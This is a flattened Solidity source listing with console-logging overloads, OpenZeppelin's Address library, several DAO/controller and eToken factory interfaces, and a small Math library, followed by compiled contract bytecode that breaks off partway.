function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IController { function dao() external view returns (address); function guardian() external view returns (address); function isDaoOrGuardian(address sender) external view returns (bool); function setDao(address _dao) external returns (bool); function setGuardian(address _guardian) external returns (bool); function feesOwner() external view returns (address); function pausedIssuance() external view returns (bool); function setFeesOwner(address _feesOwner) external returns (bool); function setPausedIssuance(bool _pausedIssuance) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; /** * @dev Interface of the the optional methods of the ERC20 standard as defined in the EIP. */ interface IERC20Optional { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "./IEToken.sol"; interface IETokenFactory { function getController() external view returns (address); function setController(address _controller) external returns (bool); function createEToken(string memory name, string memory symbol) external returns (IEToken); } // SPDX-License-Identifier: GNU pragma solidity ^0.8.1; library Math { function abs(uint256 a, uint256 b) internal pure returns (uint256) { return (a > b) ? a - b : b - a; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80635bf3332d116100b8578063c45a01551161007c578063c45a015514610293578063e5f634d81461029b578063e715b1bc146102ae578063e7927618146102c1578063f780c440146102c9578063f887ea40146102dc57610142565b80635bf3332d146102345780636391758b1461024757806373a629911461025a57806392eefe9b1461026d578063a46bb4811461028057610142565b80631d37c76c1161010a5780631d37c76c146101cb5780633018205f146101de57806345200915146101f3578063547d3297146101fb5780635705ae431461020e5780635761fab21461022157610142565b80630121162614610147578063072721e8146101705780630ad3d1311461018357806310d1e85c146101a3578063129bbf64146101b8575b600080fd5b61015a610155366004614ba4565b6102e4565b604051610167919061501d565b60405180910390f35b61015a61017e366004614ba4565b61071d565b610196610191366004614be4565b610a75565b6040516101679190614e30565b6101b66101b13660046149c4565b6110c0565b005b61015a6101c6366004614ba4565b6117e2565b6101966101d936600461498c565b611a05565b6101e6611a1a565b6040516101679190614dc5565b61015a611a29565b610196610209366004614c34565b611a2f565b61019661021c366004614c6c565b611f51565b61019661022f366004614be4565b612089565b61015a610242366004614ba4565b61257e565b61015a610255366004614ba4565b61277e565b610196610268366004614cb2565b612a03565b61019661027b36600461498c565b612b04565b61019661028e366004614be4565b612c06565b6101e6613097565b6101966102a9366004614be4565b6130bb565b6101966102bc366004614c6c565b6135b6565b6101e6613b32565b61015a6102d7366004614ba4565b613b56565b6101e6613ea2565b60008060006104c1866001600160a01b031663b170420a876040518263ffffffff1660e01b81526004016103189190614dc5565b60a06040518083038186803b15801561033057600080fd5b505afa158015610344573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103689190614c97565b85886001600160a01b031663679aefce6040518163ffffffff1660e01b815260040160206040518083038186803b1580156103a257600080fd5b505afa1580156103b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103da9190614cca565b896001600160a01b0316632935ef676040518163ffffffff1660e01b815260040160206040518083038186803b15801561041357600080fd5b505afa158015610427573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044b9190614cca565b8a6001600160a01b031663425f92cd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561048457600080fd5b505afa158015610498573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bc9190614cca565b613ec6565b60408051600280825260608201835293955091935060009290602083019080368337019050509050866001600160a01b0316635f64b55b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561052257600080fd5b505afa158015610536573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061055a91906149a8565b8160008151811061057b57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050866001600160a01b0316630fc63d106040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d457600080fd5b505afa1580156105e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060c91906149a8565b8160018151811061062d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526040516307c0329d60e21b81527f000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9f90911690631f00ca749061068b9086908590600401615026565b60006040518083038186803b1580156106a357600080fd5b505afa1580156106b7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526106df9190810190614af8565b6000815181106106ff57634e487b7160e01b600052603260045260246000fd5b6020026020010151826107129190615162565b979650505050505050565b6000806000610751866001600160a01b031663b170420a8760